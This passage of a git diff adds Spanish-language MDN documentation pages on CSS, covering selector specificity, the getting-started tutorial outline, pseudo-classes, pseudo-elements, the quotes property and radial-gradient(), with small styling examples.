+<p><span class="goog-gtc-unit" id="goog-gtc-unit-105"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Cuando se aplican múltiples reglas a un determinado elemento, la norma escogida depende de su especificidad de estilo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-106"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El estilo en línea (en los atributos HTML <code>style</code>) es lo primero, seguido por los selectores id, a continuación, los selectores class y, finalmente, los selectores element-name.</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-107"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">div { color: black; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-108"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">#orange { color: orange; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-109"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">.green { color: green; }</span></span>
+
+<span class="goog-gtc-unit" id="goog-gtc-unit-110"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;div id="orange" class="green" style="color: red;"&gt;This is red&lt;/div&gt;</span></span>
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-111"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Las reglas son más complicadas cuando el selector tiene varias partes.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-112"><span class="goog-gtc-translatable goog-gtc-from-human goog-gtc-ph-missing" dir="ltr" style="">Se puede encontrar más información detallada acerca de cómo se calcula la especificidad del selector en el <a class=" external" href="http://www.w3.org/TR/CSS21/cascade.html#specificity" title="http://www.w3.org/TR/CSS21/cascade.html#specificity">capítulo 6.4.3 de la Especificación CSS 2.1</a></span></span></p>
+<h4 id="What_do_the_-moz-.2A_properties_do.3F" name="What_do_the_-moz-.2A_properties_do.3F"><span class="goog-gtc-unit" id="goog-gtc-unit-113"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">¿Qué hacen las propiedades -moz-*?</span></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-114"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Por favor, consulta la página <a class="internal" href="/en/CSS_Reference/Mozilla_Extensions" title="en/CSS Reference/Mozilla Extensions">Extensiones CSS de Mozilla</a>.</span></span></p>
+<p> </p>
+<p>{{ languages( { "en": "en/Common_CSS_Questions", "pl": "pl/Cz\u0119ste_pytania_o_CSS", "zh-tw": "zh_tw/CSS_\u4e00\u822c\u554f\u984c" } ) }}</p>
diff --git a/files/es/web/css/primeros_pasos/index.html b/files/es/web/css/primeros_pasos/index.html
new file mode 100644
index 0000000000..c6eb218230
--- /dev/null
+++ b/files/es/web/css/primeros_pasos/index.html
@@ -0,0 +1,39 @@
+---
+title: Primeros pasos
+slug: Web/CSS/Primeros_pasos
+---
+<p> </p>
+<h2 id="Introducción">Introducción</h2>
+<p>Este tutorial es una introducción a las hojas de estilo en cascada (CSS).</p>
+<p>Te guiará a través de las funcionalidades básicas de CSS con ejemplos prácticos que puedes poner a prueba en tu propio equipo. Tiene dos partes.</p>
+<ul> <li>La primera parte ilustra las funcionalidades estándar de CSS que funcionan en los navegadores de Mozilla y en casi todos los navegadores modernos.</li>
+</ul>
+<ul> <li>La segunda parte contiene algunos ejemplos de funciones especiales que funcionan en Mozilla pero no necesariamente en otros ambientes.</li>
+</ul>
+<p>El tutorial está basado en la <a class="external" href="http://www.w3.org/TR/CSS21/">especificación 2.1 de CSS 2.1</a>.</p>
+<h3 id="¿Quién_debe_usar_este_tutorial">¿Quién debe usar este tutorial?</h3>
+<p>Este tutotial es prácticamente para principiantes en CSS, pero también puedes usarlo si tienes alguna experiencia en CSS.</p>
+<p>Si eres un principiante en CSS, usa la primera parte del tutorial para entender CSS y aprender cómo usarlo. Después usa la segunda parte para entender el alcance de CSS en Mozilla.</p>
+<p>Si sabes algo de CSS, puedes saltearte las partes del tutorial que ya conoces y sólo leer las partes que te interesen.</p>
+<p>Si eres experimentado en CSS pero no en Mozilla, puedes pasar a la segunda parte.</p>
+<h3 id="¿Qué_necesitas_antes_de_empezar">¿Qué necesitas antes de empezar?</h3>
+<p>Para obtener lo mejor de este tutorial, necesitas un editor de archivos de texto y un navegador basado en Mozilla (Firefox o SeaMonkey). Deberías tener conocimientos básicos de cómo usarlos.</p>
+<p>Si no quieres editar archivos, puedes leer el tutorial y mirar las imágenes, pero esa es una forma menos efectiva de aprender.</p>
+<p>Unas pequeñas partes del tutorial requieren otros programas de Mozilla. Esas partes son opcionales. Si no quieres descargar otras aplicaciones de Mozilla, puedes saltearte esas partes. El otro software de Mozilla que se referencia en este tutorial incluye:</p>
+<ul> <li><a href="/en/DOM_Inspector" title="en/DOM Inspector">DOM Inspector</a></li>
+</ul>
+<p><strong>Nota: </strong> CSS brinda formas de trabajar con el color, así que partes de este tutorial dependen del color. Puedes usar estas partes fácilmente si tienes un monitor a color y una visión de colores normal.</p>
+<h3 id="Cómo_usar_este_tutorial">Cómo usar este tutorial</h3>
+<p>Para usar este tutorial, lee las páginas detenidamente y en orden. Si pierdes una página, podrá resultarte difícil entender las páginas posteriores.</p>
+<p>En cada página, usa la sección de <em>Información</em> para entender cómo funciona CSS. Usa la sección <em>Acción</em> para probar el uso de CSS en tu propio equipo.</p>
+<p>Para probar que hayas entendido, haz el desafío al final de cada página. Las soluciones a los desafíos están enlazados debajo de ellos, así no necesitas mirarlos si no quieres hacerlo.</p>
+<p>Para entender CSS más profundamente, lee la información que encontrarás en las cajas con el título <em>Más detalles</em>. Usa los enlaces que se encuentran allí para buscar información de referencia acerca de CSS.</p>
+<h2 id="Primera_parte_del_tutorial">Primera parte del tutorial</h2>
+<p>Una guía básica paso a paso de CSS.</p>
+<ol> <li><strong><a href="/en/CSS/Getting_Started/What_is_CSS" title="en/CSS/Getting_Started/What_is_CSS">What is CSS</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Why_use_CSS" title="en/CSS/Getting_Started/Why_use_CSS">Why use CSS</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/How_CSS_works" title="en/CSS/Getting_Started/How_CSS_works">How CSS works</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Cascading_and_inheritance" title="en/CSS/Getting_Started/Cascading_and_inheritance">Cascading and inheritance</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Selectors" title="en/CSS/Getting_Started/Selectors">Selectors</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Readable_CSS" title="en/CSS/Getting_Started/Readable_CSS">Readable CSS</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Text_styles" title="en/CSS/Getting_Started/Text_styles">Text styles</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Color" title="en/CSS/Getting_Started/Color">Color</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Content" title="en/CSS/Getting_Started/Content">Content</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Lists" title="en/CSS/Getting_Started/Lists">Lists</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Boxes" title="en/CSS/Getting_Started/Boxes">Boxes</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Layout" title="en/CSS/Getting_Started/Layout">Layout</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Tables" title="en/CSS/Getting_Started/Tables">Tables</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/Media" title="en/CSS/Getting_Started/Media">Media</a></strong></li>
+</ol>
+<h2 id="Segunda_parte_del_tutorial">Segunda parte del tutorial</h2>
+<p>Ejemplos que muestran el alcance del CSS en Mozilla.</p>
+<ol> <li><strong><a href="/en/CSS/Getting_Started/JavaScript" title="en/CSS/Getting_Started/JavaScript">JavaScript</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/XBL_bindings" title="en/CSS/Getting_Started/XBL_bindings">XBL bindings</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/XUL_user_interfaces" title="en/CSS/Getting_Started/XUL_user_interfaces">XUL user interfaces</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/SVG_graphics" title="en/CSS/Getting_Started/SVG_graphics">SVG graphics</a></strong></li> <li><strong><a href="/en/CSS/Getting_Started/XML_data" title="en/CSS/Getting_Started/XML_data">XML data</a></strong></li>
+</ol>
+<p>{{ languages( { "en": "en/CSS/Getting_Started", "de": "de/CSS/Einführung", "es": "es/CSS/Primeros_pasos", "fr": "fr/CSS/Premiers_pas", "it": "it/Conoscere_i_CSS", "ja": "ja/CSS/Getting_Started", "nl": "nl/CSS/Voor_Beginners", "pl": "pl/CSS/Na_pocz\u0105tek", "pt": "pt/CSS/Como_come\u00e7ar", "zh-cn": "cn/CSS/\u5f00\u59cb" } ) }}</p>
diff --git a/files/es/web/css/pseudo-classes/index.html b/files/es/web/css/pseudo-classes/index.html
new file mode 100644
index 0000000000..05c4789b5f
--- /dev/null
+++ b/files/es/web/css/pseudo-classes/index.html
@@ -0,0 +1,135 @@
+---
+title: Pseudo-classes
+slug: Web/CSS/Pseudo-classes
+tags:
+  - CSS
+  - Referencia CSS
+  - Selectores
+  - pseudo-clases
+translation_of: Web/CSS/Pseudo-classes
+---
+<p>{{ CSSRef() }}</p>
+
+<p>Una <strong>pseudoclase CSS</strong> es una palabra clave que se añade a los selectores y que especifica un estado especial del elemento seleccionado. Por ejemplo,  {{ Cssxref(":hover") }} aplicará un estilo cuando el usuario haga hover sobre el elemento especificado por el selector.</p>
+
+<pre><code>div:hover {
+  background-color: #F89B4D;
+}</code></pre>
+
+<p>Las pseudoclases, junto con los pseudoelementos, permiten aplicar un estilo a un elemento no sólo en relación con el contenido del árbol de documento, sino también en relación a factores externos como el historial del navegador ({{ cssxref(":visited") }}, por ejemplo), el estado de su contenido (como {{ cssxref(":checked") }} en algunos elementos de formulario), o la posición del ratón (como {{ cssxref(":hover") }} que permite saber si el ratón está encima de un elemento o no).</p>
+
+<div class="note">
+<p><strong>Nota:</strong> En lugar de usar pseudoclases, {{cssxref("pseudo-elements")}} puede usarse para dar estilo a una <em>parte específica</em> de un elemento.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">selector:pseudoclase { propiedad: valor; }
+</pre>
+
+<p>Al igual que las clases, se pueden concatenar la cantidad de pseudoclases que se deseen en un selector.</p>
+
+<h2 id="Indice_de_las_pseudo-clases_estándar">Indice de las pseudo-clases estándar</h2>
+
+<div class="index">
+<ul>
+ <li>{{ Cssxref(":active") }}</li>
+ <li>{{ Cssxref(":checked") }}</li>
+ <li>{{ Cssxref(":default") }}</li>
+ <li>{{ Cssxref(":dir", ":dir()")}}</li>
+ <li>{{ Cssxref(":disabled") }}</li>
+ <li>{{ Cssxref(":empty") }}</li>
+ <li>{{ Cssxref(":enabled") }}</li>
+ <li>{{ Cssxref(":first") }}</li>
+ <li>{{ Cssxref(":first-child") }}</li>
+ <li>{{ Cssxref(":first-of-type") }}</li>
+ <li>{{ Cssxref(":fullscreen") }}</li>
+ <li>{{ Cssxref(":focus") }}</li>
+ <li>{{ Cssxref(":hover") }}</li>
+ <li>{{ Cssxref(":indeterminate") }}</li>
+ <li>{{ Cssxref(":in-range") }}</li>
+ <li>{{ Cssxref(":invalid") }}</li>
+ <li>{{ Cssxref(":lang", ":lang()") }}</li>
+ <li>{{ Cssxref(":last-child") }}</li>
+ <li>{{ Cssxref(":last-of-type") }}</li>
+ <li>{{ Cssxref(":left") }}</li>
+ <li>{{ Cssxref(":link") }}</li>
+ <li>{{ Cssxref(":not", ":not()") }}</li>
+ <li>{{ Cssxref(":nth-child", ":nth-child()") }}</li>
+ <li>{{ Cssxref(":nth-last-child", ":nth-last-child()") }}</li>
+ <li>{{ Cssxref(":nth-last-of-type", ":nth-last-of-type()") }}</li>
+ <li>{{ Cssxref(":nth-of-type", ":nth-of-type()") }}</li>
+ <li>{{ Cssxref(":only-child") }}</li>
+ <li>{{ Cssxref(":only-of-type") }}</li>
+ <li>{{ Cssxref(":optional") }}</li>
+ <li>{{ Cssxref(":out-of-range") }}</li>
+ <li>{{ Cssxref(":read-only") }}</li>
+ <li>{{ Cssxref(":read-write") }}</li>
+ <li>{{ Cssxref(":required") }}</li>
+ <li>{{ Cssxref(":right") }}</li>
+ <li>{{ Cssxref(":root") }}</li>
+ <li>{{ Cssxref(":scope") }}</li>
+ <li>{{ Cssxref(":target") }}</li>
+ <li>{{ Cssxref(":valid") }}</li>
+ <li>{{ Cssxref(":visited") }}</li>
+</ul>
+</div>
+
+<h2 id="Especificaciones"><span>Especificaciones</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Fullscreen') }}</td>
+   <td>{{ Spec2('Fullscreen') }}</td>
+   <td>Definido <code>:fullscreen</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Ningún cambio desde {{ SpecName('HTML5 W3C') }}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Definido <code>:any-link</code>, <code>:local-link</code>, <code>:scope</code>, <code>:active-drop-target</code>, <code>:valid-drop-target</code>, <code>:invalid-drop-target</code>, <code>:current</code>, <code>:past</code>, <code>:future</code>, <code>:placeholder-shown</code>, <code>:user-error</code>, <code>:blank</code>, <code>:nth-match()</code>, <code>:nth-last-match()</code>, <code>:nth-column()</code>, <code>:nth-last-column()</code>, and <code>:matches()</code>.<br>
+    Ningún cambio significativo para las pseudo-clases difinidas en {{SpecName('CSS3 Selectors')}} y en {{SpecName('HTML5 W3C')}} (Aunque el significado semántico no fuera absorbido).</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Define el significado semántico en el contexto HTML de <code>:link</code>, <code>:visited</code>, <code>:active</code>, <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code>, and <code>:indeterminate</code>.<br>
+    Definido <code>:default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code>, <code>:read-write</code>, y <code>:dir()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Definido <code>:default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code>, y <code>:read-write</code>, pero sin el significado semántico asociado.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definido <code>:target</code>, <code>:root</code>, <code>:nth-child()</code>, <code>:nth-last-of-child()</code>, <code>:nth-of-type()</code>, <code>:nth-last-of-type()</code>, <code>:last-child</code>, <code>:first-of-type</code>, <code>:last-of-type</code>, <code>:only-child</code>, <code>:only-of-type</code>, <code>:empty</code>, y <code>:not()</code>.<br>
+    Define la sintaxis de <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code>, y <code>:indeterminate</code>, pero sin el significado semántico asociado.<br>
+    Ningún cambio significativo para las pseudo-clases difinidas en {{SpecName('CSS2.1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definido <code>:lang()</code>, <code>:first-child</code>, <code>:hover</code>, y <code>:focus</code>.<br>
+    Ningún cambio significativo para las pseudo-clases difinidas en {{SpecName('CSS1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definido <code>:link</code>, <code>:visited</code>, y <code>:active</code>, pero sin el significado semántico asociado.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/css/pseudoelementos/index.html b/files/es/web/css/pseudoelementos/index.html
new file mode 100644
index 0000000000..c65b904163
--- /dev/null
+++ b/files/es/web/css/pseudoelementos/index.html
@@ -0,0 +1,86 @@
+---
+title: Pseudoelementos
+slug: Web/CSS/Pseudoelementos
+tags:
+  - CSS
+  - Pseudo-element
+  - Pseudo-elementos
+  - Selectores
+translation_of: Web/CSS/Pseudo-elements
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Al igual que las {{ Cssxref("Pseudo-classes") }}, los pseudo-elementos se añaden a los selectores, pero en cambio, no describen un estado especial sino que, permiten añadir estilos a una parte concreta del documento. Por ejemplo, el pseudoelemento {{ Cssxref("::first-line") }} selecciona solo la primera línea del elemento especificado por el selector.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">selector::pseudo-elemento { propiedad: valor; }</pre>
+
+<h2 id="Lista_de_pseudoelementos">Lista de pseudoelementos</h2>
+
+<ul>
+ <li>{{ Cssxref("::after") }}</li>
+ <li>{{ Cssxref("::before") }}</li>
+ <li>{{ Cssxref("::first-letter") }}</li>
+ <li>{{ Cssxref("::first-line") }}</li>
+ <li>{{ Cssxref("::selection") }}</li>
+ <li>{{ Cssxref("::backdrop") }}</li>
+ <li>{{ Cssxref("::placeholder") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::marker") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::spelling-error") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::grammar-error") }} {{experimental_inline}}</li>
+</ul>
+
+<h2 id="Notas">Notas</h2>
+
+<p>De vez en cuando se utilizan dos puntos dobles (::) en vez de solo uno (:). Esto forma parte de CSS3 y de un intento para distinguir pseudo-elementos de pseudo-clases.</p>
+
+<div class="note"><strong>Nota:</strong> <code>::selection</code> siempre se escribe con dos puntos dobles (::).</div>
+
+<p class="note">Solo se puede usar un pseudo-elemento por selector. Debe aparecer después del selector simple.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión inferior</th>
+   <th>Soporta</th>
+  </tr>
+  <tr>
+   <td rowspan="2">Internet Explorer</td>
+   <td>8.0</td>
+   <td><code>:pseudoelemento</code></td>
+  </tr>
+  <tr>
+   <td>9.0</td>
+   <td><code>:pseudoelemento </code>y<code> ::pseudoelemento</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">Firefox (Gecko)</td>
+   <td>1.0 (1.0)</td>
+   <td><code>:pseudoelemento</code></td>
+  </tr>
+  <tr>
+   <td>1.0 (1.5)</td>
+   <td><code>:pseudoelemento </code>y<code> ::pseudoelemento</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">Opera</td>
+   <td>4.0</td>
+   <td><code>:pseudoelemento</code></td>
+  </tr>
+  <tr>
+   <td>7.0</td>
+   <td><code>:pseudoelemento </code>y<code> ::pseudoelemento</code></td>
+  </tr>
+  <tr>
+   <td>Safari (WebKit)</td>
+   <td>1.0 (85)</td>
+   <td><code>:pseudoelemento </code>y<code> ::pseudoelemento</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/web/css/quotes/index.html b/files/es/web/css/quotes/index.html
new file mode 100644
index 0000000000..138b4dce41
--- /dev/null
+++ b/files/es/web/css/quotes/index.html
@@ -0,0 +1,86 @@
+---
+title: quotes
+slug: Web/CSS/quotes
+tags:
+  - CSS
+  - Layout
+  - Maquetación
+  - Referencia
+  - Web
+translation_of: Web/CSS/quotes
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a> <code>quotes</code> indica cómo debe renderizar las citas el navegador.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush:css">/* Valor con palabras clave */
+quotes: none;
+
+/* Valor &lt;string&gt; */
+quotes: "«" "»";           /* Especifica <em>open-quote</em> y <em>close-quote</em> a las marcas de cita francesas */
+quotes: "«" "»" "‹" "›";   /* Especifica dos niveles de marcas de cita */
+
+/* Valores globales */
+quotes: inherit;
+quotes: initial;
+quotes: unset;
+</pre>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Los valores <code>open-quote</code> y <code>close-quote</code> de la propiedad {{cssxref("content")}} no renderiza marcas de cita.</dd>
+ <dt><code>[&lt;string&gt; &lt;string&gt;]+</code></dt>
+ <dd>Uno o más pares de valores {{cssxref("&lt;string&gt;")}} para <code>open-quote</code> y <code>close-quote</code>. El primer par representa el nivel más externo de citación, el segundo par es para el primer nivel anidado, el siguiente par para el siguiente nivel, y así sucesivamente.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush:css">q { quotes: '"' '"' "'" "'" }
+q:before { content: open-quote }
+q:after  { content: close-quote }
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Desde Firefox 3.5, el valor inicial de la propiedad de las citas se puede leer usando <code>-moz-<a class="internal" href="/en-US/docs/CSS/initial" title="en-US/docs/CSS/initial">initial</a></code>. Esto no es posible en versiones anteriores de Firefox.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Commentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'generate.html#quotes', 'quotes') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad con navegadores</h2>
+
+{{Compat("css.properties.quotes")}}
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{ Cssxref("content") }}</li>
+</ul>
diff --git a/files/es/web/css/radial-gradient()/index.html b/files/es/web/css/radial-gradient()/index.html
new file mode 100644
index 0000000000..097caadf49
--- /dev/null
+++ b/files/es/web/css/radial-gradient()/index.html
@@ -0,0 +1,299 @@
+---
+title: radial-gradient()
+slug: Web/CSS/radial-gradient()
+tags:
+  - Función CSS
+  - Gráficos(2)
+  - Imagen CSS
+translation_of: Web/CSS/radial-gradient()
+---
+<p>{{CSSRef}}</p>
+
+<p>La función CSS <code>radial-gradient()</code> crea una imagen ({{cssxref("&lt;image&gt;")}}) que representa un gradiente (degradado) de colores, generando un radio desde un origen, el centro (<em>center</em>) del gradiente. El resultado de esta función es un objeto de tipo de dato CSS {{cssxref("&lt;gradient&gt;")}}.</p>
+
+<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">Los gradientes radiales son definidos por su centro (<em>center</em>), el contorno y posición de la <em>figura resultante</em> y los puntos de definición de color (<em>color stops</em>). El gradiente radial consiste, desde su centro hasta su figura resultante y potencialmente más allá, en figuras concénctricas sucesivas de escala uniforme, idénticas en su figura final. Los stops de color son posicionados en un <em>rayo de gradiente virtual</em> que va horizontalmente desde el centro hacia la derecha. La proporción para posicionar los stops de colores es relativa a la intersección entre la figura final y su rayo de gradiente, representando el <code>100%</code>. Cada figura es monocolor, y definida por el color del rayo de gradiente al que cruza.</p>
+
+<p>Las figuras resultantes solo pueden ser círculos (<code>circle</code>) o elipses (<code>ellipse</code>).</p>
+
+<p>Como cualquier otro gradiente, un gradiente radial CSS no es un {{cssxref("&lt;color&gt;")}} CSS, sino una imagen <a href="/es/docs/Web/CSS/image#no_intrinsic">sin dimensiones intrínsecas</a>, es decir, no tiene un tamaño natural o predefinido, ni radio. Su tamaño concreto coincidirá con el del elemento al que se aplica.</p>
+
+<p>La función <code>radial-gradient</code> no permite gradientes repetidos. Para dicha funcionalidad, use la función CSS {{Cssxref("repeating-radial-gradient")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css notranslate">// Definición de la figura
+radial-gradient( circle, … )                /* Sinónimo de radial-gradient( circle farthest-corner, … ) */
+radial-gradient( ellipse, … )               /* Sinónimo de radial-gradient( ellipse farthest-corner, … ) */
+radial-gradient( <em>&lt;extent-keyword&gt;</em>, … )      /* Dibuja un círculo */
+radial-gradient( circle <em>radius</em>, … )         /* Un círculo centrado con longitud dada. Puede ser un porcentaje */
+radial-gradient( ellipse <em>x-axis</em> <em>y-axis</em>, … ) /* Los dos ejes semi-mayores son indicados, horizontal y después vertical */
+
+// Definición de la posición de la figura
+radial-gradient ( … at &lt;position&gt;, … )
+
+// Definición de los stops de colores
+radial-gradient ( …, &lt;color-stop&gt;, … )
+radial-gradient ( …, &lt;color-stop&gt;, &lt;color-stop&gt; )</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Una posición ({{cssxref("&lt;position&gt;")}}), interpretada de la misma forma que {{Cssxref("background-position")}} o {{Cssxref("transform-origin")}}. Si es omitida, su valor predeterminado es <code>center</code>.</dd>
+ <dt><code>&lt;shape&gt;</code></dt>
+ <dd>La figura del gradiente. Puede ser un valor <code>circle</code> (que indica que la figura del gradiente es un círculo con radio constante) o <code>ellipse</code> (que indica que la figura del gradiente es una elipse alineada por ejes). El valor predeterminado es <code>ellipse</code>.</dd>
+ <dt><code>&lt;color-stop&gt;</code></dt>
+ <dd>Representa un color fijo en una posición precisa, su valor está compuesto por un valor {{cssxref("&lt;color&gt;")}}, seguido por una posición opcional (que puede ser de tipo {{cssxref("&lt;percentage&gt;")}} o {{cssxref("&lt;length&gt;")}} a lo largo del rayo de gradiente). Un porcentaje de <code>0%</code>, o una longitud de <code>0</code>, representan el centro del gradiente, mientras que el valor de <code>100%</code> representa la intersección de la figura final con el rayo virtual de gradiente. Los valores porcentuales internos son posicionados linealmente en el rayo gradiente.</dd>
+ <dt><code>&lt;extent-keyword&gt;</code></dt>
+ <dd>Valores clave que describen la longitud de la figura resultante. Los valores posibles son:</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Constante</th>
+    <th>Descripción</th>
+   </tr>
+   <tr>
+    <td><code>closest-side</code></td>
+    <td>La figura resultante coincide con el lado de la caja más cercano al centro (para los círculos) o coincide con los lados vertical y horizontal más cercanos al centro (en caso de elipses).</td>
+   </tr>
+   <tr>
+    <td><code>closest-corner</code></td>
+    <td>El tamaño de la figura resultante coincide exactamente con la esquina de la caja más cercana desde el centro del gradiente.</td>
+   </tr>
+   <tr>
+    <td><code>farthest-side</code></td>
+    <td>Similar a closest-side, excepto que el tamaño de la figura resultante coincide con el lado de la caja más lejano al centro (o los lados vertical y horizontal).</td>
+   </tr>
+   <tr>
+    <td><code>farthest-corner</code></td>
+    <td>El tamaño de la figura resultante coincide exactamente con la esquina de la caja más lejana al centro del gradiente.</td>
+   </tr>
+  </tbody>
+ </table>
+ Los borradores anteriores del estándar incluyeron otras palabras clave (<code>cover</code> y <code>contain</code>) como sinónimos de los estándares <span class="st"><code>farthest-corner</code></span> y <code>closest-side</code> respectivamente. Use solo las palabras clave estándar, pues algunas implementaciones ya no soportan las variantes anteriores.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox notranslate"><code>radial-gradient(
+  [ [ circle || {{cssxref("&lt;length&gt;")}} ]                         [ at {{cssxref("&lt;position&gt;")}} ]? , |
+    [ ellipse || [ &lt;length&gt; | {{cssxref("&lt;percentage&gt;")}} ]{2} ]  [ at &lt;position&gt; ]? , |
+    [ [ circle | ellipse ] || &lt;extent-keyword&gt; ]   [ at &lt;position&gt; ]? , |
+    at &lt;position&gt; ,
+  ]?
+  &lt;color-stop&gt; [ , &lt;color-stop&gt; ]+
+)
+where &lt;extent-keyword&gt; = closest-corner | closest-side | farthest-corner | farthest-side
+  and<code> &lt;color-stop&gt;     = &lt;color&gt; [ &lt;percentage&gt; | &lt;length&gt; ]?</code>
+</code></pre>
+
+<h2 id="Example_1" name="Example_1">Ejemplo 1</h2>
+
+<p>Usando el siguiente código CSS podemos obtener un fondo de elipse en la esquina más lejana (<code>farthest-corner</code>) a <code>45px 45px</code>, cambiando el color de turquesa (<code>#00FFFF</code>), a blanco, a azul (<code>#0000FF</code>):</p>
+
+<pre class="brush: css notranslate">body {
+  width: 100vh;
+  height: 100vh;
+  background-image: radial-gradient(ellipse farthest-corner at 45px 45px , #00FFFF 0%, rgba(0, 0, 255, 0) 50%, #0000FF 95%);
+} </pre>
+
+<p>{{ EmbedLiveSample('Example_1') }}</p>
+
+<h2 id="Example_2" name="Example_2">Ejemplo 2</h2>
+
+<p>Este código generará un fondo de elipse in la esquina más lejana (<code>farthest-corner</code>) a <code>470px 45px</code>, cambiando el color de amarillo (<code>#FFFF80</code>), a marrón pálido, a azul pálido (<code>#E6E6FF</code>):</p>
+
+<pre class="brush: css notranslate">body {
+  width: 100vh;
+  height: 100vh;
+  background-image: radial-gradient(ellipse farthest-corner at 470px 47px , #FFFF80 20%, rgba(204, 153, 153, 0.4) 30%, #E6E6FF 60%);
+}</pre>
+
+<p>{{ EmbedLiveSample('Example_2') }}</p>
